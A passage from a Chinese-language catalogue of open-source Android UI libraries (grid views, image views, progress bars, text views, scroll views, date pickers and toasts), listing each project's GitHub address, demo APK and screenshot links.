地址:https://github.com/Trinea/TrineaDownload/blob/master/staggered-gridview-demo.apk?raw=true APP 示例:Pinterest 等 1. AndroidStaggeredGrid 允许非对齐行的 GridView,类似 Pinterest 的瀑布流,继承自 AbsListView 项目地址:https://github.com/etsy/AndroidStaggeredGrid APP 示例:Pinterest 等 1. PinterestLikeAdapterView 允许非对齐行的 GridView,类似 Pinterest 的瀑布流,允许下拉刷新 项目地址:https://github.com/GDG-Korea/PinterestLikeAdapterView APP 示例:Pinterest 等 1. DraggableGridView Item 可拖动交换位置的 GridView,实际是自己继承 ViewGroup 实现,类似桌面的单屏效果,可屏幕自动上下滚动进行 Item 移动交换,多屏效果见下面 PagedDragDropGrid 项目地址:https://github.com/thquinn/DraggableGridView Demo 地址:https://github.com/thquinn/DraggableGridView/blob/master/bin/DraggableGridViewSample.apk?raw=true 也可自定义item的宽高和每行的个数,同时修改了交换逻辑,当移动到另一个item时就进行交换,并删除滚动逻辑。 项目地址:[DraggableGridView](https://github.com/andyken/DraggableGridView) 效果图: ![Renderings](https://github.com/andyken/DraggableGridView/blob/master/sample/sample.gif) 1. DividedDraggableView 一个带有分割区域的可拖动 view ,可屏幕自动上下滚动进行 Item 移动交换。 项目地址:https://github.com/andyken/DividedDraggableView 效果图: ![Renderings](https://github.com/andyken/DividedDraggableView/blob/master/app/sample.gif) 1. StickyGridHeaders GroupName 滑动到顶端时会固定不动直到另外一个 GroupName 到达顶端的 GridView 项目地址:https://github.com/TonicArtos/StickyGridHeaders 效果图:![Renderings](https://github-camo.global.ssl.fastly.net/90b57e9383704c400706545225d439e057c6fcc0/687474703a2f2f342e62702e626c6f6773706f742e636f6d2f2d535f4262685758367754592f55517057306377554745492f41414141414141414776552f7a7a4a586a2d50635662592f73313630302f73637265656e2d6c616e6473636170652d736d616c6c65722e706e67) 1. PagedDragDropGrid Item 可拖动交换位置、拖动删除的自定义控件,实际是自己继承 ViewGroup 实现,类似桌面的多屏效果,可拖动到屏幕边缘,屏幕自动左右滚动进行 Item 移动交换,可拖动进行删除,单屏效果见上面 DraggableGridView 项目地址:https://github.com/mrKlar/PagedDragDropGrid 在线演示:http://youtu.be/FYTSRfthSuQ 1. Android-DraggableGridViewPager Item 可拖动交换位置的 GridView,实际是自己继承 ViewGroup 实现,类似桌面的多屏效果,可屏幕自动左右滚动进行 Item 移动交换,单屏效果见上面 DraggableGridView 项目地址:https://github.com/zzhouj/Android-DraggableGridViewPager Demo 地址:https://github.com/Trinea/trinea-download/blob/master/draggable-grid-viewpager-demo.apk?raw=true 1. TwoWayGridView 可横向滚动的 GridView 项目地址:https://github.com/jess-anders/two-way-gridview 1. PagingGridView 分页加载的 GridView。当滑动到 GridView 底部最后一个行时,显示一个进度行,然后加载下一页数据,并显示。 项目地址:https://github.com/nicolasjafelle/PagingGridView 1. AsymmetricGridView 一个支持跨行和跨列可变 Item 大小的 GridView 项目地址:https://github.com/felipecsl/AsymmetricGridView Demo 地址:https://play.google.com/store/apps/details?id=com.felipecsl.asymmetricgridview.app 效果图:![Renderings](https://raw.githubusercontent.com/felipecsl/AsymmetricGridView/master/screenshots/ss_5_cols.png) 1. GridView with Header and Footer 和`ListView`一样带头部和底部的`GridView`,用法和`ListView`一样 项目地址:https://github.com/liaohuqiu/android-GridViewWithHeaderAndFooter 效果图:![Renderings](https://raw.githubusercontent.com/liaohuqiu/android-GridViewWithHeaderAndFooter/master/screen-shot.png) #### 六、ImageView 1. PhotoView 支持双击或双指缩放的 ImageView,在 ViewPager 等 Scrolling view 中正常使用,相比上面的 AndroidTouchGallery,不仅支持 ViewPager,同时支持单个 ImageView 项目地址:https://github.com/chrisbanes/PhotoView 原理剖析文档:[PhotoView](https://a.codekk.com/detail/Android/dkmeteor/PhotoView 源码解析) Demo 地址:https://play.google.com/store/apps/details?id=uk.co.senab.photoview.sample APP 示例:photup 1. Fresco-ImageView Fresco-ImageView是一种Android平台的图像控件,底层是对Fresco的封装,可以异步加载网络图片、项目资源和本地图片,并且支持双指缩放、图片的基本处理以及Fresco的所有特性。 项目地址:https://github.com/HomHomLin/FrescoImageView 1. android-gif-drawable 支持 gif 显示的 view,用 jni 实现的,编译生成 so 库后直接 xml 定义 view 即可,而且本身不依赖于其他开源项目所以相对下面的 ImageViewEx 简单的多 项目地址:https://github.com/koral--/android-gif-drawable 1. ImageViewEx 支持 Gif 显示的 ImageView,依赖很多,编译过程很繁琐 项目地址:https://github.com/frapontillo/ImageViewEx Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/imageviewex-demo.apk?raw=true 1. RoundedImageView 带圆角的 ImageView 项目地址:https://github.com/vinc3m1/RoundedImageView 效果图:![Renderings](https://raw.github.com/makeramen/RoundedImageView/master/screenshot.png) 1. SelectableRoundedImageView ImageView 允许四个角的每一个有不同的半径值。也允许椭圆形、圆形的形状或者边 项目地址:https://github.com/pungrue26/SelectableRoundedImageView Demo 地址:https://play.google.com/store/apps/details?id=com.joooonho 效果图:![Renderings](https://camo.githubusercontent.com/25d2e5fb8783b5dd09c00b03091172a79c69350e/687474703a2f2f692e696d6775722e636f6d2f55355653376d322e706e673f31) 1. ColorArt 根据图片的均色设置背景色显示文字和图片,类似 itune11 中效果 项目地址:https://github.com/MichaelEvans/ColorArt Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/color-art-demo.apk?raw=true 1. CircleImageView 圆形的 ImageView 项目地址:https://github.com/hdodenhof/CircleImageView 效果图:![Renderings](https://raw.github.com/hdodenhof/CircleImageView/master/screenshot.png) 1. ImageViewZoom 支持放大和平移的 ImageView 项目地址:https://github.com/sephiroth74/ImageViewZoom APP 示例:https://play.google.com/store/apps/details?id=com.aviary.android.feather 1. KenBurnsView 实现 Ken Burns effect 效果,达到身临其境效果的 ImageView 项目地址:https://github.com/flavioarfaria/KenBurnsView 1. CustomShapeImageView 各种形状的 ImageView, 相比上面的圆形 ImageView,多了更多形状 项目地址:https://github.com/MostafaGazar/CustomShapeImageView 效果图:![Renderings](https://raw.github.com/MostafaGazar/CustomShapeImageView/master/Screenshot_2013-11-05-23-08-12.png) 1. Shape Image View 可以自定义各种形状的 ImageView, 并且支持边框 项目地址:https://github.com/siyamed/android-shape-imageview 效果图:![Renderings](https://github.com/siyamed/android-shape-imageview/raw/master/images/shader-buble.png) https://github.com/siyamed/android-shape-imageview/raw/master/images/all-samples.png 1. TextDrawable 一个用于生成带有文本或者字母的图片的轻量级库。扩展自 Drawable,因此可用于现有/自定义/网络等 ImageView 类,并且包含一个流接口用于创建 drawables 以及一个定制的 ColorGenerator 项目地址:https://github.com/amulyakhare/TextDrawable 效果图:![Renderings](https://raw.githubusercontent.com/amulyakhare/TextDrawable/master/screens/screen7.png) 1. android-smart-image-view 可从 URL 或 contact address book 加载图片的 ImageView,支持缓存 项目地址:https://github.com/loopj/android-smart-image-view 1. PhotoView 支持双指/双击缩放的ImageView,支持从一个PhotoView缩放到另外一个PhotoView(点击图片放大预览),相对于其他PhototView有更加平滑的缩放,平移的动画,并且支持所有的ScaleType,可以作为普通的ImageView使用 项目地址:https://github.com/bm-x/PhotoView 效果图:![Renderings](https://github.com/bm-x/PhotoView/raw/master/demo1.gif) 1. TextWithImageDrawable 一个可以同时包含图片和文字的drawable,使用方式类似TextView和它的drawableLeft之类的方法,功能比较全面,可以代替TextView或是解决一些非得需要在ImageView中同时显示文字和图片的问题 项目地址:https://github.com/wuseal/TextWithImageDrawable 1. AnchorImageView 一个可以锚点定位的ImageView(根据像素点) Demo中通过AnchorImageView简单的实现了一个课本点读的功能 项目地址:https://github.com/jcodeing/AnchorImageView Demo 地址:[Download here](https://raw.githubusercontent.com/jcodeing/AnchorImageView/master/AnchorImageView-debug.apk) ![Renderings](https://raw.githubusercontent.com/jcodeing/AnchorImageView/master/lookme.gif) #### 七、ProgressBar 1. SmoothProgressBar 水平进度条 项目地址:https://github.com/castorflex/SmoothProgressBar Demo 地址:https://play.google.com/store/apps/details?id=fr.castorflex.android.smoothprogressbar.sample 1. MaterialProgessBar Material Design 的进度条,支持 Android 4.0 项目地址:https://github.com/DreaminginCodeZH/MaterialProgressBar Demo 地址:https://github.com/DreaminginCodeZH/MaterialProgressBar/blob/master/dist/sample.apk 1. ProgressWheel 支持进度显示的圆形 ProgressBar 项目地址:https://github.com/Todd-Davies/ProgressWheel Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/progress-wheel-demo.apk?raw=true 1. android-square-progressbar 在图片周围显示进度 项目地址:https://github.com/mrwonderman/android-square-progressbar Demo 地址:https://play.google.com/store/apps/details?id=net.yscs.android.square_progressbar_example 效果图:![Renderings](https://googledrive.com/host/0BwESwPCuXtw7eExwSFVLQkR2TTg/newscreen1.png) APP 示例:square 1. HoloCircularProgressBar Android4.1 时钟 App 样式 项目地址:https://github.com/passsy/android-HoloCircularProgressBar 效果图:![Renderings](https://raw.github.com/passsy/android-HoloCircularProgressBar/master/raw/screenshot1.png) APP 示例:Android4.1 时钟 App 1. ProgressButton 通过图钉的不同状态显示进度 项目地址:https://github.com/f2prateek/progressbutton 文档介绍:http://f2prateek.com/progressbutton/ 效果图:![Renderings](http://f2prateek.com/progressbutton/static/states.png) 1. GoogleProgressBar 类似 google 多个圆形卡片翻转的 progressBar 项目地址:https://github.com/jpardogo/GoogleProgressBar 效果图:![Renderings](https://raw.githubusercontent.com/jpardogo/GoogleProgressBar/master/art/GoogleProgressBar.gif) 1. TH-ProgressButton 带圆形进度显示的按钮 项目地址:https://github.com/torryharris/TH-ProgressButton 效果图:![Renderings](https://raw.github.com/Vyshakh-K/TH-ProgressButton/master/screenshots/progressshot1.png) https://raw.github.com/Vyshakh-K/TH-ProgressButton/master/screenshots/progressshot2.png 1. NumberProgressBar 带数字进度的进度条 项目地址:https://github.com/daimajia/NumberProgressBar 效果图:![Renderings](https://camo.githubusercontent.com/0c92568af7ec4e04e2e1503acdd2ca99854ab0b5/687474703a2f2f7777332e73696e61696d672e636e2f6d773639302f36313064633033346a77316566797264386e376937673230637a30326d7135662e676966) 1. CircularProgressDrawable 带圆形进度显示的进度条 项目地址:https://github.com/Sefford/CircularProgressDrawable 效果图:![Renderings](https://raw.githubusercontent.com/Sefford/CircularProgressDrawable/master/overshoot.gif) 1. Android-RoundCornerProgressBar Android 圆角 ProgressBar,可自定义圆角颜色和半径,包括带 Icon 和不带 Icon 两种类型。 项目地址:https://github.com/akexorcist/Android-RoundCornerProgressBar 效果图:![Renderings](https://raw.githubusercontent.com/akexorcist/Android-RoundCornerProgressBar/master/image/screenshot_02.png) 1. circular-progress-button 带进度显示的 Button 项目地址:https://github.com/dmytrodanylyk/circular-progress-button 效果图:![Renderings](https://raw.githubusercontent.com/dmytrodanylyk/circular-progress-button/master/screenshots/intro.gif) 1. WaveView 一个波纹效果的 View,可用来做 ProgressBar 项目地址:https://github.com/john990/WaveView Demo 地址:https://raw.github.com/john990/WaveView/master/screenshot%26apk/demo.unaligned.apk 效果图:![Renderings](https://camo.githubusercontent.com/60722e9d4f2d2daa78a8650cb27a32adea82bdd4/68747470733a2f2f7261772e6769746875622e636f6d2f6a6f686e3939302f57617665566965772f6d61737465722f73637265656e73686f7425323661706b2f73637265656e73686f742e676966) 1. MaterialLoadingProgressBar 抽取自 SwipeRefreshLayout 的 Material Design 进度指示器 项目地址:https://github.com/lsjwzh/MaterialLoadingProgressBar 效果图:![Renderings](https://github.com/lsjwzh/MaterialLoadingProgressBar/raw/master/screen.gif) 1. MetaballLoading A 2d metaball loading 项目地址:https://github.com/dodola/MetaballLoading 效果图:![Renderings](https://github.com/dodola/MetaballLoading/blob/master/metaball.gif) 效果图:![Renderings](https://github.com/dodola/MetaballLoading/blob/master/metaball2.gif) 1. SectorProgressView 一个圆形或环形的进度显示控件,用圆中扇形的角度大小来表示进度信息<br/> 项目地址:https://github.com/timqi/SectorProgressView<br/> Demo:[apk download](https://github.com/timqi/SectorProgressView/raw/master/art/example.apk) <br/> 效果图:<br/>![ColorfulRingProgressView](https://github.com/timqi/SectorProgressView/raw/master/art/colorfulringprogressview.demo.gif) ![SectorProgressView](https://github.com/timqi/SectorProgressView/raw/master/art/sectorprogressview.demo.gif) 1. CircularFillableLoaders 一个可以用于闪屏或者其他地方加载的控件<br/> 项目地址:https://github.com/lopspower/CircularFillableLoaders<br/> Demo地址:(https://play.google.com/store/apps/details?id=com.mikhaellopez.circularfillableloaderssample) <br/> 效果图:<br/>![CircularFillableLoaders](https://camo.githubusercontent.com/b8e510f51d0781c1ac41a01713d81beb93ff30a9/687474703a2f2f6936362e74696e797069632e636f6d2f357a6771776e2e706e67) ![CircularFillableLoaders](https://lh3.googleusercontent.com/QUzoUjzTGirHKnGSmvziRfh230FRph12TPfEqUdZs9HXAgDnB79pSP6aCDLVpU9QvRZA=h310-rw) 1. PinWheel 一个旋转的大风车Dialog 项目地址:https://github.com/codingWang/PinWheel<br/> 效果图:![Renderings](https://github.com/codingWang/PinWheel/blob/master/gif/pinwheel.gif) 1. ColorArcProgressBar 一个可定制的圆形进度条,通过xml参数配置可实现QQ健康中步数的弧形进度显示、仪盘表显示速度、最常见的下载进度条等功能。<br/> 项目地址:https://github.com/Shinelw/ColorArcProgressBar<br/> 效果图:<br/>![ColorArcProgressBar](https://raw.githubusercontent.com/Shinelw/ColorArcProgressBar/master/Demo.gif) 1. LoadingDrawable 一些酷炫的android加载动画,可以与任何组件配合使用作为加载的组件或者ProgressBar。<br> 项目地址:https://github.com/dinuscxj/LoadingDrawable 效果图:<br/> ![LoadingDrawable](https://raw.githubusercontent.com/dinuscxj/LoadingDrawable/master/Preview/AnimalDrawable.gif?width=300) ![LoadingDrawable](https://raw.githubusercontent.com/dinuscxj/LoadingDrawable/master/Preview/SceneryDrawable.gif?width=300) ![LoadingDrawable](https://raw.githubusercontent.com/dinuscxj/LoadingDrawable/master/Preview/CircleJumpDrawable.gif?width=300) ![LoadingDrawable](https://raw.githubusercontent.com/dinuscxj/LoadingDrawable/master/Preview/CircleRotateDrawable.gif?width=300) 1. Android-SpinKit Android加载动画库 项目地址:https://github.com/ybq/Android-SpinKit 效果图: ![Renderings](https://raw.githubusercontent.com/ybq/AndroidSpinKit/master/art/screen.gif) #### 八、TextView 包括 TextView 及所有继承自 TextView 控件,如 EditText、Button、RadioButton 1. android-flowtextview 文字自动环绕其他 View 的 Layout 项目地址:https://github.com/deano2390/FlowTextView 效果图:![Renderings](http://i949.photobucket.com/albums/ad332/vostroman1500/1.png) 1. Android Form EditText 验证输入合法性的编辑框,支持输入、英文、ip、url 等多种正则验证 项目地址:https://github.com/vekexasia/android-edittext-validator Demo 地址:https://play.google.com/store/apps/details?id=com.andreabaccega.edittextformexample 1. Emojicon 支持 emojis 的 TextView 和 EditText 项目地址:https://github.com/rockerhieu/emojicon 文档介绍:http://rockerhieu.com/emojicon/ 1. android-circlebutton Android 圆形按钮,实际实现是继承自 ImageView 项目地址:https://github.com/markushi/android-circlebutton Demo 地址:https://github.com/markushi/android-circlebutton/blob/master/example/example.apk 1. Segmented Radio Buttons for Android iOS’s segmented controls 的实现 项目地址:https://github.com/vinc3m1/android-segmentedradiobutton Demo 地址:https://github.com/thquinn/DraggableGridView/blob/master/bin/DraggableGridViewSample.apk?raw=true 效果图:![Renderings](https://raw.github.com/vinc3m1/android-segmentedradiobutton/master/screens/segmentedradio.png) 1. Chips EditText Library 支持国家名字联想从而选择显示该国国旗的 EditText,实际就是通过 SpannableStringBuilder 实现 项目地址:https://github.com/kpbird/chips-edittext-library Demo 地址:https://github.com/kpbird/chips-edittext-library/tree/master/ChipsEditTextDemo/bin 1. AutoFitTextView 可固定边界内容字体大小自适应的 TextView 项目地址:https://github.com/grantland/android-autofittextview 1. Shimmer for Android 文字发淡光的 TextView 项目地址:https://github.com/RomainPiel/Shimmer-android 1. Titanic 可以显示水位上升下降(不知道该怎么描述 囧)的 TextView 项目地址:https://github.com/RomainPiel/Titanic 效果图:![Renderings](https://github.com/RomainPiel/Titanic/raw/master/titanic.gif) 1. android-iconify 提供带 Icon 的 TextView,Menu,Button 等 项目地址:https://github.com/JoanZapata/android-iconify 1. Calligraphy 让我们在 android 开发中使用自定义字体变得更加简单 项目地址:https://github.com/chrisjenx/Calligraphy 效果图:![Renderings](https://github.com/chrisjenx/Calligraphy/raw/master/screenshot.png) 1. CreditsRoll 类似星球大战字幕效果的 TextView 项目地址:https://github.com/frakbot/CreditsRoll 1. android-process-buton 带加载或提交进度的 Button 项目地址:https://github.com/dmytrodanylyk/android-process-buton 1. FButton 扁平化的 Button 项目地址:https://github.com/hoang8f/android-flat-button Demo 地址:https://play.google.com/store/apps/details?id=info.hoang8f.fbutton.demo 1. FloatingActionButton 一个类似 Android 版 Google+浮动功能按钮的控件,可以响应 ListView 的滚动事件。当列表向上滚动的时候会自动显示,向下滚动的时候自动隐藏。 项目地址:https://github.com/makovkastar/FloatingActionButton Demo 地址:https://github.com/makovkastar/FloatingActionButton/tree/master/ 效果图:![Renderings](https://raw.githubusercontent.com/makovkastar/FloatingActionButton/master/art/demo.gif) 1. Android Saripaar Android 表单验证 项目地址:https://github.com/ragunathjawahar/android-saripaar/ 1. JumpingBeans 文字像 Mexican beans 一样跳动 项目地址:https://github.com/frakbot/JumpingBeans Demo 地址:http://play.google.com/store/apps/details?id=net.frakbot.jumpingbeans.demo 效果图:![Renderings](https://github.com/frakbot/JumpingBeans/blob/master/art/jumpingdots.gif) 1. FancyButtons 一个不用图片就可以帮助我们创建出漂亮按钮的库。 项目地址:https://github.com/medyo/fancybuttons Demo 地址:https://github.com/medyo/fancybuttons/tree/master/samples 效果图:![Renderings](https://camo.githubusercontent.com/8c5800ef180f69d302237132906737bf71a52caf/68747470733a2f2f7261772e6769746875622e636f6d2f6d6564796f2f66616e6379627574746f6e732f6d61737465722f73637265656e73686f74732f66616e63792e706e67) https://raw.githubusercontent.com/medyo/fancybuttons/master/screenshots/fancy2.png 1. Android-RobotoTextView 一个实现了所有 Roboto 字体的 TextView,包括新出的 Roboto Slab 字体。 项目地址:https://github.com/johnkil/Android-RobotoTextView Demo 地址:http://play.google.com/store/apps/details?id=com.devspark.robototextview Demo 项目:https://github.com/johnkil/Android-RobotoTextView/tree/master/robototextview-sample 效果图:![Renderings](https://camo.githubusercontent.com/f058c810055e1ff12fa995346059ad399d9c0f95/687474703a2f2f6934362e74696e797069632e636f6d2f6239646736392e706e67) 1. Android-WizardPager 一个表单向导库 项目地址:https://github.com/romannurik/android-wizardpager Demo 项目:https://github.com/str4d/android-wizardpager/tree/textfield 效果图:![Renderings](https://camo.githubusercontent.com/685a1eee3b9b7eb6a0409061031654ea7d6b0b17/68747470733a2f2f6c68352e676f6f676c6575736572636f6e74656e742e636f6d2f2d664944555a3074514373632f554a4e4c6a6e504c5447492f41414141414141416f4f382f784b63654f61746c6a50302f773431332d683638392d6e6f2f322e706e67) 1. RippleView 一个实现了 Android L 上才引入的点击按钮后出现水波纹效果的按钮 项目地址:https://github.com/siriscac/RippleView Demo 项目:https://github.com/siriscac/RippleView/tree/master/RippleViewExample 效果图:![Renderings](https://camo.githubusercontent.com/eec41193900aad4803dcf18bc9915fafa3f7d1cf/68747470733a2f2f7261772e6769746875622e636f6d2f73697269736361632f526970706c65566965772f6d61737465722f53637265656e732f53637265656e2e676966) 1. RippleEffect 一个实现 Material Design Ripple 效果的库,支持 Android API 9+以上版本。 项目地址:https://github.com/traex/RippleEffect Demo 项目:https://github.com/traex/RippleEffect/tree/master/sample 效果图:![Renderings](https://raw.githubusercontent.com/traex/RippleEffect/master/header.png) 1. RippleCompat 使用易于移植的方式为UI控件实现波纹效应,可以适配控件原背景及Palette支持。api简单,可自定义效果,兼容至Android API 7+。 项目地址:https://github.com/desmond1121/RippleCompat Demo 项目:https://github.com/desmond1121/RippleCompat/tree/master/app 效果图: ![Renderings](https://raw.githubusercontent.com/desmond1121/RippleCompat/master/demo/Demo.gif) palette效果: ![Renderings](https://raw.githubusercontent.com/desmond1121/RippleCompat/master/demo/Demo1.gif) 1. Android Floating Label Widgets 包含一系列控件,这些控件特点是:有默认值,当值不为空时默认值浮动到上面变为提示 项目地址:https://github.com/marvinlabs/android-floatinglabel-widgets Demo 地址:https://play.google.com/store/apps/details?id=com.marvinlabs.widget.floatinglabel.demo 在线演示:http://www.youtube.com/watch?v=hpZD9gJcRg0&feature=youtu.be 1. MaterialEditText EditText 的 Material Design 实现。包含 [Google Material Design Spec](http://www.google.com/design/spec/components/text-fields.html)中的 UI 效果和一些新增特性。 项目地址:https://github.com/rengwuxian/MaterialEditText 1. MaterialEditText 实现 [Material Design](http://www.google.com/design/spec/components/text-fields.html) 中 Ripple 效果线条背景的 EditText。直接替换原生 EditText 即可集成。 项目地址:https://github.com/DreamingInCodeZH/MaterialEditText 1. MultiActionTextView 可以分别给 TextView 中的某几个字设置点击事件的 TextView 项目地址:https://github.com/ajaysahani/MultiActionTextView 效果图:![Renderings](https://camo.githubusercontent.com/1223e37d084e84ec0e22a1b27e7513661d0e1b39/687474703a2f2f692e696d6775722e636f6d2f773934576f53582e706e67) 1. ToggleButton 状态切换的 Button,类似 iOS,用 View 实现 项目地址:https://github.com/zcweng/ToggleButton 效果图:![Renderings](https://github.com/zcweng/ToggleButton/raw/master/ToggleButtonSample/21879.gif) 1. SwitchButton 状态切换的 Button,类似 iOS,拥有良好的用户界面 项目地址:https://github.com/kyleduo/SwitchButton 效果图:![Renderings](https://raw.githubusercontent.com/kyleduo/SwitchButton/master/preview/demo_131.jpg) 1. SlideSwitch 状态切换的开关,可以设置为类似 IOS 的圆形,也可以设置为矩形,用 View 实现 项目地址:https://github.com/Leaking/SlideSwitch 效果图:![Renderings](https://github.com/Leaking/SlideSwitch/blob/master/Example/TestLibs/res/drawable-hdpi/slide_c.gif) 1. ExpandableTextView 可展开和收缩内容的 TextView。 项目地址:https://github.com/Manabu-GT/ExpandableTextView 效果图:![Renderings](https://camo.githubusercontent.com/8bf46083b3bd152c2051ae4c234649dbbb975376/68747470733a2f2f7261772e6769746875622e636f6d2f4d616e6162752d47542f457870616e6461626c6554657874566965772f6d61737465722f6172742f726561646d655f64656d6f2e676966) 1. TagCloudView(支持 SingleLine 模式的标签云) 标签云效果,只需要一行代码即可设置为 SingleLine 模式,轻松实现知乎问题话题列表效果。SingleLine 模式时末尾文字及图片可自定义。 项目地址:https://github.com/kingideayou/TagCloudView 示例APK地址:https://github.com/kingideayou/TagCloudView/raw/master/apk/Demo.apk APP示例:知乎 效果图:![Renderings](https://raw.githubusercontent.com/kingideayou/TagCloudView/master/imgs/tagCloudView_3.gif) 1. BubbleTextView Android Bubble View 项目地址:https://github.com/dupengtao/BubbleTextView 效果图:![Renderings](https://camo.githubusercontent.com/3b8c44089da79868cb45a4da372f2eaae0f3341b/687474703a2f2f3764397069632e636f6d312e7a302e676c622e636c6f7564646e2e636f6d2f627562626c65775f766965772e706e67) 1. shadow-layout Android Shadow Layout 解决了`CardView`:1.不能画圆的阴影。2.设置阴影的位置。3.设置阴影颜色。 项目地址:https://github.com/dmytrodanylyk/shadow-layout 效果图: ![Renderings](https://raw.githubusercontent.com/dmytrodanylyk/shadow-layout/master/screenshots/intro.png) 1. MoneyTextView 一个支持加法运算的金额输入TextView 项目地址:https://github.com/andyken/MoneyTextView 效果图: ![Renderings](https://github.com/andyken/MoneyTextView/blob/master/sample/sample1.gif) #### 九、ScrollView 1. Discrollview 支持滚动时 Item 淡入淡出,平移,缩放效果的 ScrollView 项目地址:https://github.com/flavienlaurent/discrollview Demo 地址:https://github.com/flavienlaurent/discrollview/raw/master/sample.apk 1. PullScrollView 仿照新浪微博 Android 客户端个人中心的 ScrollView,下拉背景伸缩回弹效果。 项目地址:https://github.com/MarkMjw/PullScrollView 效果图:![Renderings](https://raw.github.com/MarkMjw/PullScrollView/master/Screenshots/1.png) 1. ArcLayout 一个非常简单的弧布局库 项目地址:https://github.com/ogaclejapan/ArcLayout Demo 地址:https://play.google.com/store/apps/details?id=com.ogaclejapan.arclayout.demo 效果图:![Renderings](https://raw.githubusercontent.com/ogaclejapan/ArcLayout/master/art/demo1.gif) https://raw.githubusercontent.com/ogaclejapan/ArcLayout/master/art/demo2.gif 1. ParallaxScrollView 支持视差滚动的 ScrollView ,背景图片的滚动速度小于 ScrollView 中子控件的滚动速度 项目地址:https://github.com/chrisjenx/ParallaxScrollView Demo 地址:http://cloud.github.com/downloads/chrisjenx/ParallaxScrollView/ParallaxScrollViewDemo-v1.0.5.apk 1. AKParallax-Android 支持视差滚动的 ScrollView 项目地址:https://github.com/ideaismobile/AKParallax-Android Demo 地址:https://play.google.com/store/apps/details?id=com.appkraft.parallax_sample 1. Android-ObservableScrollView 监听滚动视图滚动事件的库,帮助与 Toolbar 的交互动效处理与 Material Design 的实现 项目地址:https://github.com/ksoichiro/Android-ObservableScrollView Demo 地址:https://play.google.com/store/apps/details?id=com.github.ksoichiro.android.observablescrollview.samples2 1. OverScrollView 有弹性的 ScrollView,实现了当手指滑动到 ScrollView 的顶部、底部时,可以继续的向上、向下拉伸。当释放手指的时候,向上、下回弹 项目地址:https://github.com/EverythingMe/OverScrollView #### 十、TimeView 包括 TimePicker、DatePicker、CalendarView、Clock 等时间相关控件 1. android-times-square Android 日历时间部件,支持选取单个日期,多个日期,及日期区间段和对话框形式显示 项目地址:https://github.com/square/android-times-square Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/times-square-demo.apk?raw=true 1. android-calendar-card 日历 项目地址:https://github.com/kenumir/android-calendar-card Demo 地址:https://play.google.com/store/apps/details?id=com.wt.calendarcardsample 效果图:![Renderings](https://raw.github.com/kenumir/android-calendar-card/master/calendar-card-sample/_work/device-2013-10-12-151801.png) 1. AndroidWheel Android Wheel 支持城市、多种日期时间、密码、图片 项目地址:https://code.google.com/p/android-wheel/ 效果图:![Renderings](http://farm6.staticflickr.com/5532/11621528786_220c040ba5_o.jpg) 1. GoogleDateTimePickers 时间选择部件 项目地址:https://github.com/Mirkoddd/GoogleDateTimePickers 文档介绍:https://play.google.com/store/apps/details?id=com.mirko.sample&hl=it 1. DateTimePicker 日期选择部件(Google Agenda 的样式风格) 项目地址:https://github.com/flavienlaurent/datetimepicker Demo 地址:https://raw.github.com/biboune/datetimepicker/master/datetimepicker-sample.apk 效果图:![Renderings](https://camo.githubusercontent.com/493edeea3eb553ad0d0b121dbead0d7ec6a858f2/68747470733a2f2f7261772e6769746875622e636f6d2f6269626f756e652f6461746574696d657069636b65722f6d61737465722f67726170686963732f696d67312e706e67) 1. android-betterpickers 提供日期、数字、时间(数字方式和钟表方式)、重复周期(闹钟的周期重复)、HMS(时、分、秒)的选择,支持以 DialogFragment 的弹窗选择 项目地址:https://github.com/derekbrameyer/android-betterpickers Demo 地址:https://play.google.com/store/apps/details?id=com.doomonafireball.betterpickers.sample 效果图:![Renderings](https://camo.githubusercontent.com/897ae3c71b49c4366565f3480719647687b1804a/68747470733a2f2f7261772e6769746875622e636f6d2f646572656b6272616d657965722f616e64726f69642d6265747465727069636b6572732f6d61737465722f73616d706c652f696d61676572792f7765625f666561747572655f677261706869632e706e67) 1. Android Week View 日期控件,支持周,天视图,支持自定义样式 项目地址:https://github.com/alamkanak/Android-Week-View 效果图:![Renderings](https://github.com/alamkanak/Android-Week-View/blob/master/images/screen-shot.png) 1. PickerView 仿 iOS 的 PickerView 控件,有时间选择和选项选择并支持一二三级联动效果,TimePopupWindow 时间选择器,支持年月日时分,年月日,时分等格式;OptionsPopupWindow 选项选择器,支持一,二,三级选项选择,并且可以设置是否联动 项目地址:https://github.com/saiwu-bigkoo/Android-PickerView 效果图:![Renderings](https://github.com/saiwu-bigkoo/PickerView/blob/master/preview/pickerdemo.gif) 1. CountdownView Android 倒计时控件,使用Canvas绘制,支持多种样式 项目地址:https://github.com/iwgang/CountdownView 效果图:![Renderings](https://raw.githubusercontent.com/iwgang/CountdownView/master/screenshot/screenshot.gif) #### 十一、TipView 包括 Toast、角标、UndoBar 等提示性控件 1. SVProgressHUD SVProgressHUD For Android 精仿iOS的提示库 SVProgressHUD,api也几乎一样。 项目地址:https://github.com/saiwu-bigkoo/Android-SVProgressHUD 效果图:![Renderings](https://github.com/saiwu-bigkoo/Android-SVProgressHUD/raw/master/preview/svprogresshuddemo.gif) 1. Crouton 丰富样式的 Toast,允许 alert、comfirm、info 样式及点击消失样式,允许设置 Toast 显示时间,允许自定义 View。 本文 32. SuperToasts 为其扩展版 项目地址:https://github.com/keyboardsurfer/Crouton Demo 地址:http://play.google.com/store/apps/details?id=de.keyboardsurfer.app.demo.crouton 1. supertooltips 带动画效果的 Tips 显示 项目地址:https://github.com/nhaarman/supertooltips Demo 地址:https://play.google.com/store/apps/details?id=com.haarman.supertooltips 1. Android ViewBadger 为其他 View 添加角标(消息圆点)等 项目地址:https://github.com/jgilfelt/android-viewbadger Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/android-viewbadger.apk?raw=true 效果图:![Renderings](http://www.jeffgilfelt.com/viewbadger/vb-1a.png) 1. SuperToasts 更丰富样式的 toast,支持 Button、Progress、Horizontal Progress 样式、支持进入动画、支持撤销及其动画设置 项目地址:https://github.com/JohnPersano/SuperToasts Demo 地址:https://play.google.com/store/apps/details?id=com.supertoastsdemo 效果图:![Renderings](http://i1331.photobucket.com/albums/w597/JohnPersano/supertoasts_githubimage_zps8a5ceb7c.png) 1. UndoBar 屏幕底部显示取消或是确认的 PopupWindows 项目地址:https://github.com/soarcn/UndoBar 效果图:![Renderings](https://github.com/soarcn/UndoBar/blob/master/art/redo.png?raw=true) 1. UndoBar 屏幕底部显示取消或是确认某操作 项目地址:https://github.com/jenzz/Android-UndoBar 效果图:![Renderings](https://raw.github.com/jenzz/Android-UndoBar/master/assets/Screenshot2.png) 1. 